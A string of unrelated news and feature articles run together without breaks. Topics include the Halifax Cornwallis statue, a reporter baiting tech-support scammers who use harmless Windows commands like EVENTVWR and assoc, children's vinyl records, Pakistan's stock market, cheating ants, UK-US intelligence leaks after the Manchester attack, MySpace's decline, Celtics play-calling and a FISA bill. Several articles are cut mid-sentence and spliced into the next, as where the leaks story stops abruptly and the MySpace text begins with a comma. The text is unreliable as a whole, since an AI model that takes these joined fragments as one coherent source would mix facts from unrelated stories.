"Certainly one of the options will be to take the statue down." Mike Savage, Halifax mayor
"We'll see in September what the panel will look like, and they'll only bring forward a recommendation. City council will have to decide with what to do," he said. "Certainly one of the options will be to take the statue down."
Halifax residents have long advocated for the removal of any public mentions of the Cornwallis name, and last month, the statue was temporarily covered by a tarp during a Mi'kmaq prayer ceremony.
In 2016, the sculpture was vandalized with a splash of red paint. According to the Chronicle Herald, the Halifax Regional School Board voted to rename Cornwallis Junior High School to Halifax Central Junior High in 2011.
The Nova Scotia-based newspaper ran an online poll this July asking whether or not the statue of Edward Cornwallis should be removed from Cornwallis Park. Of the 14,867 respondents, 63 per cent voted "no" to the monument's removal.
While Savage cannot give a timeline of when the panel, and later the city council will make a call as to how the name Cornwallis will be used in and around Halifax, he is holding out for a resolution.
"I don't think what happens in Charlottesville necessarily changes views, I think it'll make people more aware of sensitivities people may have [about Cornwallis]," said Savage.
Confederate plaque moved from Montreal building
Interest in the status of the Cornwallis statue has picked up new momentum, particularly as a reaction to the white nationalist rally and counter-protest in Charlottesville, Va. over plans to remove a monument to Confederate General Robert E. Lee.
Inflamed racial tensions have prompted some action north and south of the border.
A plaque honouring Jefferson Davis — president of the Confederate states during the Civil War — was removed from Montreal's Hudson's Bay Co. building this week.
that blank wall looks good on ya - just walked by the site of a removed Confederate plaque in Montréal 👍 https://t.co/FF3ndeIgq6 pic.twitter.com/bvCRsTHyeh — Anja Jamrozik (@anjajam) August 16, 2017
A 145-year-old statue of Supreme Court Justice Roger B. Taney — a notable defender of slavery and denier of black citizenship rights — was also removed from the Maryland State House early on Friday.
Also on HuffPost:Technical support scams are the bottom of the barrel for cyber-crime. Using well-worn social engineering techniques that generally only work on the least sophisticated computer users, these bootleg call-center operations use a collection of commercially available tools to either convince their victims to pay exorbitant fees for "security software" or extort them to gain control of their computer. And yet, these schemes continue to rake in cash for scammers.
We've dealt with these scammers before at Ars, but this week I got an opportunity to personally engage with a scam operation—so naturally, I attempted to inflict as much damage on it as possible.
On Monday afternoon, I got a phone call that someone now probably wishes they never made. Caller ID said the call was coming from "MDU Resources," but the caller said he was calling from "the technical support center." He informed me there were "junk files" on my computer slowing it down and that he was going to connect me with a technician to help fix the problem.
I was thrilled, displaying what my wife Paula felt was an inordinate amount of glee about getting the call. Over the next two hours, I subjected the scammers to such misery that Paula later told me she felt bad for them. "They probably had a quota to meet," she said sarcastically. "You probably kept them from getting four or five other people."
Actually, with any luck, I did more than that—I passed on the data I collected to the operators of the infrastructure used by the scam. That should at least put a speed bump in this particular nefarious operation. But taking down a scam like this is akin to a game of whack-a-mole; the infrastructure they use is too easily replicated. It's simple for support scammers to mount call center campaigns from cheap (or even stolen) VoIP services. Many of the tools they use offer free trials that can be repeatedly abused. And there's so much money in fooling naïve computer users that scammers are motivated to do this again and again. The FBI's Internet Crime Complaint Center (IC3) reported last June that just in the first four months of 2016, the bureau "received 3,668 complaints [of technical support scams] with adjusted losses of $2,268,982."
Law enforcement agencies have worked with the government of India to shut down a number of these tech support scams run out of what had passed for legitimate call centers. But as the crackdown continues, the scammers are going even more black-hat and down-market—abusing free trials of remote support software and exploiting peer-to-peer virtual private networks and Voice over IP phone services to further obscure their location and identity. The scripts for these scams remains the same shopworn material in use for years, preying on less technically aware targets who can be herded toward giving remote control of their computers away to a stranger.
The best weapon against these scams is education. So, as a public service, the following is a condensed version of my nearly two-hour-long recording of a scammer baiting plus a dissection of their tools, techniques, and tactics. Certainly, the technically inclined can feel free to thoroughly enjoy this recounting. But, cautionary tales like this are also good to share with those who may be potential victims of such a scam. You may also want to clue in whoever runs your organization's phone network about how such scammers turn poorly secured phone systems into virtual call centers.
"Windows-R"
The script that my scammers were using was well worn, to say the least. The initial call was simply to identify me as a potential victim; I was told that all the "technicians" were busy with other "customers" and that one would call me back shortly. So, luckily, I had a few minutes to install a Windows XP virtual machine and get a recorder set up before the scam began in earnest.
When the second call came, the "technician" repeated the same pitch as the first. I turned on my recorder.
"As I told you earlier, sir, the last couple of weeks, whenever you browse e-mails, like browse Internet, or do your online stuff like checking e-mails, browsing Internet, online shopping... from that very moment your computer has been automatically generating certain unsecured junk files without your proper knowledge. And as a reason, the functionality of your computer may have been decreasing day by day. I believe you understand me, right?"
"I think I understand what you're saying," I replied.
"Exactly right, sir. And that's why we at the maintenance department have been giving you this call today so you know some steps so that you by yourself can check where those unwanted files are inside your computer, and how you can know how to get rid of those files yourself from your side."
He asked if my computer was on. I told him that after getting the earlier call, I had turned it off. He told me to go ahead and turn it back on. "Take your sweet time," he said. I'm not sure my scammer realized that I absolutely intended to do just that.
What immediately followed was a painfully scripted scheme to convince me of the presence of these "unsecured junk files" and provide evidence that yes, indeed, I had a support license for this maintenance department to provide help hidden within my very own (virtual) Windows XP machine. Some people have called this the "Windows-R" scam, since the whole routine begins with the caller instructing the potential victim to hold down the Windows key while pressing the "R" key—launching Windows' "Run" box. From the Run box, the target is instructed to type in commands that will reveal just how horribly overrun with junk files their computer is.
However, I didn't want to make it too easy.
"You just need to hold the Windows key," he explained. "Hold it down and, with another finger, press the R key, R as in Romeo. Now what do you see on your computer?"
"It just reset," I said.
"Apart from that what else do you see?"
"It's rebooting."
"It's rebooting, OK…"
"It must have been doing an update or something, I don't know."
Finally... I got the Run box up. He told me to make sure the text box was empty, and then told me what to type into it, slowly spelling out EVENTVWR. "Type in there, E as in Echo, V as in Victoria, E as in echo once again... And now hit the enter button from your keyboard."
I complied.
"This is the page we were talking about. It is the Event Viewer page. It is also known as Microsoft Management Console page. All right. It is highly designed by Microsoft to check the computer's exact health state."
I choked back a laugh.
Next, the scammer asked if I had ever seen this page before. I said I hadn't, so he then tried to give me what amounted to a magical realistic interpretation of the contents of Event Viewer—or he would have, if there were any events to view aside from a parallel port warning under system events (since my virtual machine obviously didn't have a printer port). Also, I was not helpful.
"Double click on application and what do you see? What options?"
"Security is under application, and there's nothing there."
"Double click on security then."
"I did, and there's nothing there."
He soon gave up and moved to the next part of his pitch, having me launch the Run box again and phonetically spelling out "INF JUNK FILES." Windows ignores everything after INF, and the OS just opens the File Explorer to \WINDOWS\inf—a directory containing configuration files for drivers.
My technician then told me everything on display qualified as the junk files he was telling me about, the stuff that had been "created without your proper knowledge."
"These will multiply day by day," he continued, "filling your hard drive until it turns your computer off. The hard drive is the brain of your computer, and once it fills up your computer will work no more."
To dispel any suspicions I might have that this mysterious tech support "maintenance department" was not actually legitimate, the scammer technician then read from his script that I should type in something in a Command shell "so you can tell who we are."
"Do you see a cursor blinking? Type in there A as in apple, S as in sugar, S as in sugar—there should be two Ses—then type in O as in Oscar, C as in Charlie. Now hit the enter button from your keyboard, OK?"
This is a classic scammer move—literally. The "assoc" command scam has been around for ages. The command itself lists the application and class associations of system files, and the one that the scammers always focus in on is the association for.ZFS files—a long class identifier (CLSID) string.
But the scammer presented CLSID as standing for Consumer License Support ID, and he read off the string (very, very slowly): 888DCA60-FC0A-11CF-8F0F-00C04FD7D062. You'll be shocked to know that if you have a Windows PC and run this command, you'll find you have the exact same CLSID.
After reading off this number, the scammer triumphantly said, "We already have your CLSID, and I believe you now know what we are exactly."
"Uh… excuse me?"
"Like, I'm just asking you if you understand from where is this call coming from, like, who's calling."
"No, I don't understand where this call is coming from. Who is this call coming from?"
"Yeah, as I told you before, this is the tech helpline. We are the one who maintains the software part of the computers based on Microsoft Windows, like XP, Vista, 7, 8, 8.1, and also Windows 10. So, sir, right now what you need to do right now is you need to close those unsecured stuff for yourself."
We were already 30 minutes into this call, and my new friend was clearly eager to push me into the delivery phase of the scam. Unfortunately for him, I was ready for more shenanigans.Will the record "This Record Belongs To ___" help turn toddlers into lovers of good music? (Courtesy of Light In The Attic)
Three months ago, Brooklyn-based DJ Mick Batyske and his wife had their first child, a son they named Myles. Batyske — who goes by the name DJ Mick and who lends his musical tastemaking to brands and people such as Cadillac, Nike, Usher and LeBron James — went through the myriad lifestyle changes, challenges and sleep loss that accompany becoming a parent. He also found himself confronting a new crisis: What sort of cool music would his child listen to?
Writing on the Web site Fatherly back in September, Batyske described keeping a Sonos speaker system in the nursery and hoped that his son would learn to enjoy classic ’90s hip-hop as well as John Coltrane’s 1965 opus “A Love Supreme,” while also admitting that he would be “crushed” if his son didn’t appreciate the likes of A Tribe Called Quest and De La Soul.
“My job keeps me super young and in tune with everything going on in pop culture,” Batyske wrote via e-mail, although he admitted that despite his fluency in changing trends, it’s inevitable that one day he and his son will clash over taste.
Until then, he wants to make sure his kid grows up with plenty of cool music at his disposal, which can get tricky. In a world where the music geared towards children ranges from pureed pop — like lullaby renditions of Taylor Swift to Kidz Bop doing squeaky-clean versions of Fetty Wap’s “Trap Queen” — to the inescapable presence of the Wiggles, it can be difficult for parents to find music that they can play for their children. Not to mention keep their own sanity intact.
One multi-platinum singer-songwriter took matters into her own hands.
“Parents don’t want to listen to children’s albums, because they’re not fun to listen to,” said Linda Perry, who’s worked with the likes of Pink, Gwen Stefani and Miley Cyrus over the course of her career. Drawing upon iPhone recordings she made while tending to her 8-month-old son, she recently collaborated with her wife, Sara Gilbert, and her two stepchildren to record a children’s album credited to her new band, Deer Sounds. “We underestimate kids — we don’t understand their mind can handle a lot,” Perry said. “They can listen to the Beach Boys, the Beatles and really take in what’s going on. We all play this silly music thinking, ‘Oh, it’s a baby, this is all they can handle.’ That’s not the truth.”
In addition to finding adequate music for kids, many parents wind up revisiting their own cultural touchstones from childhood and foisting them on their children. From the prime-time return of the Muppets to the return of “Star Wars” — with plenty in between — the weight of nostalgia for the ’70s and ’80s continues to influence culture well into the 21st century. So it figures that in addition to dictating renaissances in television and movies, there’s a new wave of parents who miss the music — as well as the medium — of their youth. As a vinyl revival emerges in the era of touch screens, there’s even a challenge among new parents over what technology with which to raise their children.
“I think tangibility and a disconnection from the Internet are things that are going to become more real and valuable to not only this generation, but future generations,” said Ben Swank, founder and consigliere at Third Man Records, the record label run by proud rock-and-roll iconoclast Jack White. “I think a lot of new parents are raising their kids to value these sorts of tactile things.”
To aid a new generation of music listeners and an old musical format, Third Man recently announced a joint venture with the reissue imprint Light in the Attic, a split-color children’s record, touting itself as gender-neutral, titled “This Record Belongs To ________,” which comes bundled with a standalone record player built to withstand young children. “The reaction was so immediate and positive to the record player that we’ve already needed to do a reorder on them,” Swank said.
When Swank and his wife had a daughter, they received a special mix from their friend, Zach Cowie, a Los Angeles-based DJ and music supervisor, who recently helped pick the tunes for Aziz Ansari’s Netflix smash “Master of None.” Although he’s not a father, Cowie recalled the “non-children’s music” he enjoyed as a kid and set about making a mix tape for kids and adults. “I don’t know how to play music, but I’ve been obsessed with sequencing my whole life, so I’ve always had to rely on other people’s songs to tell the stories that are in my head,” Cowie said from his home. “I wanted the mix to play through like a day-long adventure in a children’s book.” One side was meant for daytime; the other was mellower, to help kids go to sleep.
He put together the mix that makes up “This Record Belongs to _____,” the title harking back to the Little Golden Books series, Sesame Street’s “In Harmony” albums and the days when kids grew up learning about music via Fisher-Price turntables. For new parents hoping to make their kids into future music snobs, one could do worse than this set, which in one stretch connects Harry Nilsson’s “Me and My Arrow” to the Pointer Sisters’ “Sesame Street” staple “Pinball Number Count” to Woody Guthrie’s “Songs to Grow On.” It also features an eclectic roster, including Van Dyke Parks and Nina Simone, while still finding room for Kermit the Frog’s “Rainbow Connection.”
“I like the idea of setting kids up on the right path,” Cowie said. “There are clues all over this album which could last a musical lifetime.”
“The songs on the mix weren’t your dumbed-down, horrible kids music most parents are subjected to,” said Matt Sullivan, who runs the Light in the Attic imprint and who received a copy of Cowie’s mix when he and his wife had their first daughter, Sadie. “It was all we listened to for a solid year. We always had music playing in the house, but there was something about that comp that she latched onto. It really opened our daughter up to music.”
And although the label made the compilation available digitally and on compact disc, it’s as a vinyl record that Sullivan thinks the music will be most evocative for the next generation: “Kids flip out when they see the record spinning and putting the needle on the groove.”
For Perry, though, she sees the current obsession with vinyl as an exercise in misguided nostalgia and a giant step backwards. “We’re only missing vinyl because of where it came from: Zeppelin, Pink Floyd and Aretha Franklin were all on vinyl,” she said. “Would we really be missing vinyl if it was just happening now and was about Katy Perry and 5 Seconds of Summer? It’s about the great music that was on the vinyl, not the vinyl itself.”
For parents who have to juggle taking care of their kids while making dinner and cleaning up afterward, it seems antiquated to think there’s a convenience to flipping a record over vs. having music streaming wirelessly. Perhaps we won’t get back to record players being in every house or dorm room, but in turning kids on to music not made by a purple dinosaur, it remains vital for some parents.
“Why can’t kids have a real music experience?” Sullivan said. “Why can’t kids listen to Vashti Bunyan or Donovan? Good music is good music.”
To test that theory, we reached out to Sadie Pearl Sullivan, age 3, for her thoughts about records.
“I just want to get all of the records,” she said enthusiastically. “I would pick one out every day. I like to listen to music early in the morning when I wake up. I would eat breakfast with my mom and then I would pick a record out, and Mom would put it on the stereo. And then I’d dance!”
Beta is a freelance writer.The BRICS grouping is passe and the top emerging markets are losing sheen. Brexit has battered stocks world over and currencies across economies are weakening.
In times like these, guess what’s working for the global equity markets? Pakistan.
The south Asian nation, mostly in the news for terrorism and political violence, has beaten major Asian economies this year in stock market performance. In 2016, Pakistan’s benchmark equity index, the KSE 100, has been one of Asia’s best performing. In fact, it is the fifth-best performing stock index globally. Bloomberg even referred to Pakistan as an Asian “tiger,” in a report.
In June, the American stock index firm MSCI included the KSE 100 in its emerging markets index, which represents 10% of the world’s market capitalisation.
At the same time, the MSCI did not include China’s mainland A shares, which are traded in the local currency renminbi. One reason for this exclusion is that China’s economy hasn’t exactly been firing up, thanks to a drop in manufacturing.
Here’s how the KSE 100 compares with another index: Since the beginning of 2016, till July 11, India’s S&P 100 index has gained 6.67%, while KSE 100 is up almost 17%.
On a global level, the KSE 100 has left many indices behind. The data is as of July 11:
The rise of Pakistan’s stock markets
The Karachi Stock Exchange (KSE)—also known as the Pakistan Stock Exchange—has stood out in recent years, despite a troubled political and security environment. But not all its listed companies are traded on it—in fact, less than a fourth were actively traded in 2014. Nonetheless, improving political and financial stability is helping revive Pakistan’s stock markets.
There’s also been some support from a 2012 government amnesty programme, which allowed investors to pour money into shares until June 2014 without their source of funds being questioned. This doubled the average traded volume on the KSE.
Launched in 1988, the MSCI emerging markets index first included Pakistan in 1994. In 2002, the KSE was shut down due to a stock market crash. Six years later, in 2008, it was temporarily closed following the global financial crisis. Faced with such shutdowns, MSCI dropped Pakistan out of the emerging markets index till this year.
Over time, investors have regained confidence in the country’s equity markets.
“That’s an interesting lesson from Pakistan… You had to have a period of time where investors got comfortable with the idea that they wouldn’t close the market again,” Adrian Mowat, managing director and chief Asian and emerging market equity strategist at J P Morgan told CNBC in June.
What’s attracting investors?
Investment in infrastructure, coupled with aggressive government spending, is making Pakistani markets attractive to investors. Further stability in politics will only help.
“PSX (Pakistan Stock Exchange) is far ahead (compared to peers) in terms various performance indicators—valuations, dividend yield, corporate profitability—and has traditionally been traded at a discount to regional and emerging markets. This discount was attributable to lower growth trajectory and higher political and security risk,” said Zafar Masud, a member of the monetary policy committee and a member of the board of directors at the State Bank of Pakistan.
“There is a view that this discount will narrow, for all the right reasons,” Masud added. He said economic growth had picked up, too, with the improving security and political situation.
Meanwhile, the Chinese have announced large investments in the country. When China’s $46-billion investment to build a China-Pakistan Economic Corridor actually happens, it will boost trade and make critical infrastructure, such as power, easily available to individuals and industries alike.
Additionally, a growing middle-class is expected to fuel demand. Pakistan’s GDP grew at 4.2% in fiscal 2015; in fiscal 2016, it is expected to be 4.5%.
As Ruchir Sharma, Morgan Stanley’s head of emerging markets and chief global strategist indicates in his book, The Rise and Fall of Nations, three countries that have traditionally been economic “laggards”—Bangladesh, Sri Lanka, Pakistan—are now “contributing to the quiet rise of South Asia.”
Inflation in Pakistan has dropped below 3%, the government’s budget deficit has seen a commendable easing from 8% to 5% of the GDP, and current account deficit is now at 1% of the GDP, which Sharma calls “the safe zone.”
No wonder, its stock market is booming.Far from being a model of social co-operation, the ant world is riddled with cheating and corruption – and it goes all the way to the top, according to scientists from the Universities of Leeds and Copenhagen.
Ants have always been thought to work together for the benefit of the colony rather than for individual gain. But Dr Bill Hughes from Leeds’ Faculty of Biological Sciences has found evidence to shatter this illusion.
With Professor Jacobus Boomsma from the University of Copenhagen, he’s discovered that certain ants are able to cheat the system, ensuring their offspring become reproductive queens rather than sterile workers.
“The accepted theory was that queens were produced solely by nurture: certain larvae were fed certain foods to prompt their development into queens and all larvae could have that opportunity,” explains Dr Hughes. “But we carried out DNA fingerprinting on five colonies of leaf-cutting ants and discovered that the offspring of some fathers are more likely to become queens than others. These ants have a ‘royal’ gene or genes, giving them an unfair advantage and enabling them to cheat many of their altruistic sisters out of their chance to become a queen themselves.”
But what intrigued the scientists was that these ‘royal’ genetic lines were always rare in each colony.
Says Dr Hughes: “The most likely explanation has to be that the ants are deliberately taking steps to avoid detection. If there were too many of one genetic line developing into queens in a single colony, the other ants would notice and might take action against them. So we think the males with these royal genes have evolved to somehow spread their offspring around more colonies and so escape detection. The rarity of the royal lines is actually an evolutionary strategy by the cheats to escape suppression by the altruistic masses that they exploit.”
A few times each year, ant colonies produce males and new queens which fly off from their colonies to meet and mate. The males die shortly after mating and the females go on to found new colonies. The researchers are keen to study this process, to determine if their hypothesis is correct and the mating strategy of males with royal genes ensures their rarity, to keep their advantages undetected by their ‘commoner’ counterparts.
However, the scientists’ discovery does prove that, although social insect colonies are often cited as proof that societies can be based on egalitarianism and cooperation, they are not quite as utopian as they appear.
“When studying social insects like ants and bees, it’s often the cooperative aspect of their society that first stands out,” says Dr Hughes. “However, when you look more deeply, you can see there is conflict and cheating – and obviously human society is also a prime example of this. It was thought that ants were an exception, but our genetic analysis has shown that their society is also rife with corruption – and royal corruption at that!”
Source : University of LeedsLeaks are not just plaguing the Trump administration and FBI these days, it appears.
As we reported yesterday, when we discussed why the UK is angry with the US, we observed that Britain’s Interior minister Amber Rudd was asked by the BBC about the fact that information about Manchester suicide bomber Salman Abedi, including his name, had first come out from the United States and whether she would look again at how information was shared with other countries, to which she responded: "Yes, quite frankly. I mean the British police have been very clear that they want to control the flow of information in order to protect operational integrity, the element of surprise, so it is irritating if it gets released from other sources and I have been very clear with our friends that should not happen again." Asked whether the U.S. leaks had compromised the investigation, she said: "I wouldn't go that far but I can say that they are perfectly clear about the situation and that it shouldn't happen again."
Salman Abedi, the suspect in the Manchester attack
24 hours later, there has been a material deterioration in intelligence relations between the UK and US, and as Reuters reports, British police have officially stopped sharing information on the suicide bombing in Manchester with the United States, a British counter-terrorism source told the news agency, after police said leaks to U.S. media risked hindering their investigation. The decision to stop sharing police information with U.S. agencies "was an extraordinary step as Britain sees the United States as its closest ally on security and intelligence."
Earlier, the BBC reported that "UK officials were outraged when photos appearing to show debris from the attack appeared in the New York Times. It came after the name of bomber Salman Abedi was leaked to US media just hours after the attack, which left 22 dead. Theresa May said she would tell Donald Trump at a Nato meeting that shared intelligence "must remain secure".
"This is until such time as we have assurances that no further unauthorized disclosures will occur," said Reuters' counter-terrorism source.
Cited by Bloomberg, U.K. police said late Wednesday that "leaks to American media amounted to a breach of trust and undermined their investigation into the attack, stepping up criticism earlier from Home Secretary Amber Rudd.
"The BBC reported that U.K. officials were furious about a story in the New York Times on Wednesday that included photos of the crime scene. The story didn’t cite a source, and the U.K. government had no comment on the piece."
Reuters confirms that "police chiefs have made clear they are furious about the publication of confidential material in U.S. media, including bomb site photographs in the New York Times, saying such leaks undermined relationships with trusted security allies."
"This damage is even greater when it involves unauthorized disclosure of potential evidence in the middle of a major counter-terrorism investigation," a National Counter Terrorism Policing spokesman said in a statement.
The pictures published by the New York Times included remains of the bomb and of the rucksack carried by the suicide bomber, and showed blood stains amid the wreckage. "I think it's pretty disgusting," said Scott Lightfoot, a Manchester resident, speaking outside a train station in the city. He criticized media for publishing such material. "Who's leaking it? Where's it coming from? This is British intelligence at the end of the day, people shouldn't be finding out about this." The Financial Times reported that such images are available across a restricted-access encrypted special international database used by government ordnance and explosives experts in about 20 countries allied with Britain. It said the database was built around a longstanding U.S.-British system.
As emerged during the Snowden revelations, Britain routinely shares intelligence with the United States bilaterally, and also as part of the "Five Eyes" network which also includes Australia, Canada and New Zealand. Earlier, the BBC added that Manchester police hoped to resume normal intelligence relationships soon but were furious about the leaks.
Meanwhile, Bloomberg adds that Prime Minister Theresa May will raise the issue with U.S. President Donald Trump when she meets him at a NATO summit in Brussels later on Thursday, "as one of the closest intelligence-sharing partnerships is tested as never before in the fight against global terrorism."
Why blame Trump? Simple: to deflect attention from the dramatic failure of UK intel services to stop a known member of a terror cell.
Easier for UK intelligence to make Trump a story bc they failed to stop a individual and terror cell despite numerous reports both existed. https://t.co/ZWy3s7bmEH — Lizzy (@lizzie363) May 25, 2017
More:
The Times story was published after Rudd rebuked the U.S. for naming of suspected suicide bomber hours before U.K. authorities were ready to share it. Police hit out on Wednesday at what they said was the publication of evidence in a live investigation. “We greatly value the important relationships we have with our trusted intelligence, law enforcement and security partners around the world,” the National Counter Terrorism Policing office said in a statement on Wednesday evening. “When that trust is breached it undermines these relationships and undermines our investigations.”
The dispute could have wider implications for intelligence sharing between the U.S. and its closest allies. Trump shared sensitive information about Islamic State in a meeting with Russian officials last week; he denied that the details came from |
, MySpace has continuously lost market share: in March 2010, YouTube moved up to number two; in May 2011, Twitter and Yahoo! Answers surpassed it; and by July 2012 MySpace fell out of the top-10 with only 0.39 percent of visits.
One of the main reasons for MySpace's decline was its aggressive monetization strategy that ran counter to user experience. Heavily advertised site space made it difficult to use, inflexible, and slow while rival Facebook offered users a clean and light site design. Yet, instead of resetting itself to improve its social-networking environment, in-house built MySpace applications and features remained shallow and often buggy unlike Facebook applications created mostly by outside developers. MySpace also stuck to a business model targeted to the music and entertainment audience. These factors contributed to a sharp audience decline and a corresponding outflow of advertisers no longer willing to commit to long-term deals with the site.
While MySpace entered its decline, Facebook rapidly gained market share, increasing from 32 percent of all US visits in June 2009 to 65 percent in September 2011, an all-time high record. Since then the site's market share has gradually declined. Unlike the initial period of the MySpace decine, however, no serious competitors exist yet to displace Facebook. Even Twitter, the closest to Facebook by brand awareness, has lost 0.2 percent of visits since the start of the year giving way to Reddit.There is an old adage in coaching circles about facing long odds when you go on the road for a game that goes: “We have to go there anyway. Might as well go to win it.” The Boston Celtics had to go to Cleveland for Games 3 and 4—might as well win them.
After getting demolished at home by a Cavaliers team that looks like they are on a mission to defend their title, the Celtics were one of the largest playoff underdogs in NBA history. Cleveland was favored by 16 points at the tip, and some suggested it should have been higher. The Cavs were cruising as the game went along, eventually leading by as many as 21 points. But the Celtics fought back and pulled off the biggest upset, in terms of point spread, in NBA playoff history.
The TNT crew did a good job of capturing Brad Stevens imploring his team to “stay together and play harder. If we play hard, they’ll let us back in the game.” Both things proved true. With their leader sidelined for the season, it was a true team effort that took everyone. Eleven Celtics played, and Boston got contributions up and down the roster. But it was the guy on the sideline who stood out the most.
LeBron James made sure to tell CelticsBlog’s own Jared Weiss that he said before the series that Stevens is an ATO (After Time Out) genius:
Asked LeBron about Celtics ATOs and he wanted to make sure everyone knows that he said before the series Stevens is an ATO genius. — Jared Weiss (@JaredWeissNBA) May 22, 2017
Stevens has become famous for hoarding his timeouts. One can imagine he fits the old joke about the coach on his deathbed croaking out “but I’ve got one timeout left!” Sometimes fans (ok…media too!) are screaming “Call a TO!” as the Celtics are blitzed by a big run, but Stevens believes in two things: letting the team play through troubles to figure it out and having timeouts available when he needs them at the end of games. And when you can draw up the magic he can, as he did in Game 3 in Cleveland, it all pays off.
ATO number one came with just under a minute to go. The Celtics went with a lineup of Al Horford, Jonas Jerebko, Jae Crowder, Avery Bradley and Marcus Smart. At this point in the game the main offensive weapon had been Smart, with Bradley providing support and Jonas Jerebko being hot. Remember those last two as they will come up later. Back to this play:
Smart enters the ball to Horford on the right block. This is a big switch, as Horford had been posting on the left block for most of the game. The first look is for Bradley backdoor, but Kyrie Irving stays with him. Second look is Crowder on the opposite wing, but James is lurking in the passing lane. Marcus Smart, realizing the shot clock is low, spaces so far out that he’s out of the frame when the shot goes up. This gets him back on defense, in the case of a miss. Jerebko slides up to the wing as Horford drives so that he can also get back, and Crowder and Bradley prepare to crash the boards, which Boston did with great success throughout the game. It wasn’t necessary to crash, as Horford muscled up a runner over Thompson that went in.
The genius there is going to Horford at all. While he had a big game, Stevens could have just as easily drawn up the play for one of the other guys with the hot hand. Instead he put the ball in the hands of his best player with Isaiah Thomas sidelined, trusting that Horford would make the right play, be it shot or pass.
ATO number two features the same personnel. This time the game is tied at 106 with 36 seconds left. Stevens is famous for putting his team in position to get a two-for-one opportunity at the end of the half or game. With a shot at an upset on the road, you want to take the last shot. That means you have to go quickly with the first possession of the two-for-one. That is exactly what happens here:
The action begins on the inbounds pass. Smart has two options here: Bradley coming off the high screen from Horford, or Crowder going to the corner off the cross screen with Jerebko. J.R. Smith is far more worried about the near-side corner (as he should be) and angles that way. This gives Bradley a free catch at the top of the key with Irving in the trail position. James and Kevin Love handle the cross screen down low with ease, but that was just dummy action anyway. The real goal is to get Bradley going to the hoop with a head of steam.
Immediately after passing the ball in, Smart acts like he’s cutting through. What he’s really doing is creating a mess in the middle of court. Some will say it is an illegal screen, but Smart is as much entitled to that spot as Irving is. The real culprit is Smith, who turns his back to Bradley and leaves the lane wide open. Tristan Thompson, who was a monster inside all game, stays glued to Horford. By the time Bradley elevates in the paint, he’s got four guys converging on him. All he has to do is find a shooter. He makes the easiest pass available, given his angle, to Jerebko. The only downside? Jerebko steps on the line, making it a long two-point shot versus a three-pointer. But the concern is a score, not necessarily the type of score.
ATO number three is probably the best one of all. With 10 seconds left, after having successfully played the two-for-one game, the Celtics are going to take the last shot in a tie game:
James is defending Smart, perhaps expecting him to play the IT role and take the last shot. If nothing else, it puts a long defender on Smart, which can muck up passing lanes. Irving stays stuck to Jerebko in the strong-side corner for the entire play. Horford has Thompson pulled away from the paint. But all of this is just noise. The real game is with Crowder and Bradley. Bradley sets a “screen” to free Crowder cutting across the wide open paint. But that isn’t what Boston really wants. As Crowder cuts across the paint, he’s actually open for a split second, but the play design is for Bradley to take a three to win the game. Both Smith and Iman Shumpert, with years of “protect the basket first!” ingrained in them, follow Crowder, which leaves Bradley free.
One more key to the play? Thompson’s job is to drop off Horford and pick up the shooter, especially with the clock running down. Stevens knows this, so he has Horford screen his own man, which you rarely see. Even if the screen was questionable, no official is calling it at that point in the game and when he screens his own man. Combine it all and Bradley gets the game winner, after a shooter’s bounce, which ran the rest of the clock out.
The Celtics are undermanned and probably don’t have the horses to win the series. But by staying together and playing hard they kept it close. And if they keep it close, the guy on the sideline can draw up the plays to get them over the top. LeBron James is right about a lot of things, and you can add Brad Stevens: ATO Genius to the list.Rogers, center, meets with European leaders Image: House Permanent Select Committee on Intelligence
You might remember House Intelligence Chair Mike Rogers, a Republican from Michigan, from his lovely, universally-hated (by 14-year-olds, at least) CISPA cybersecurity bill that would have allowed nearly seamless information sharing between companies and the federal government. You might also remember him from his c’est la vie attitude towards civil liberties in general.
Well, we’ve got some good news and some bad news: Rogers announced today that he won’t seek re-election and is instead retiring from politics to start a conservative talk radio show on Cumulus. The bad news? He’s got at least one terrible, civil liberties-killing bill to try to push through Congress before he goes.
Like CISPA, the newly introduced “FISA Transparency and Modernization Act,” seeks to make it easier for the federal government to get your information from companies.
On the surface, the bill “ends bulk collection of metadata under the Foreign Intelligence Surveillance Act, including telephone, email, and internet metadata.” It also includes a ban on the bulk collection of library records, bulk firearm sales, medical records, tax returns, education records, and other sensitive personal records.
That would seem like a step in the right direction (though I am personally not opposed to the government knowing who is purchasing guns in bulk), especially because the outdated 1978 Foreign Intelligence Surveillance Act is the one that created the secret courts the NSA used to seize metadata records in the first place. But, as always, the devil is in the details. Yes, the bill would end bulk collection, but it wouldn't end overly broad, targeted information collection. Rogers’ new bill may inadvertently (or perhaps completely advertently) allow the government to completely bypass the judicial process and demand companies’ data without a court order.
The most concerning language comes in an amendment to the old FISA bill called Sec. 503, which makes it even easier for the government to demand data from companies. In the old FISA, security agencies could only ask for records if it pertained to a specific investigation. That’s not what the NSA was doing, but that’s how it was written into the law. Sec. 503 allows the government to ask for data without a court order, as long as they have a “reasonable articulable suspicion” that the target is a foreign power, is associated with a foreign power, or is in contact with (or known to) an agent of a foreign power. That’s a much lower bar, according to Amie Stepanovich, senior policy counsel at human rights organization Access.
“It lowers the standard, and by lowering it, they’re codifying the practices [the NSA] was already practicing,” she told me.
American Civil Liberties Union lobbyist Michelle Richardson said that the committee “uses reform momentum as a pretext for expanding government power.”
“We want to be clear. The House Intelligence bill is not a fix, it’s not even a half measure. It’s not the ACLU saying it doesn’t go far enough. The bill affirmatively does harm,” she said. “It’d allow the FBI to directly demand records without a national security subpoena that’s unprecedented in 35 years of FISA. For all its flaws, FISA has required prior judicial authorization. Repealing that and giving the FBI the authority to collect what it wants without judicial review is a huge step backward.”
The Rogers bill would basically allow the government to bypass the court whenever it deemed that it was moving too slowly, which is pretty obviously problematic.
The government would also only need to get court approval after spying has already taken place, a move that Harley Geiger of the Center for Democracy and Technology says gives government agencies "virtual subpoena power."
"The HPSCI bill would take some steps to ending the mass part of the surveillance but it would give federal intelligence agencies what looks like subpoena power over records," he said. "That is unprecedented. We do not have that system set up right now."
Rogers’ bill will compete with Wisconsin congressman Jim Sensenbrenner’s USA Freedom Act, a bill that has been supported by 163 members of Congress and has been vetted and supported by many civil liberties groups such as the Access, ACLU, CDT, and Demand Progress. That bill essentially brings more transparency to the FISA court and would put a civil liberties advocate on the FISA court.
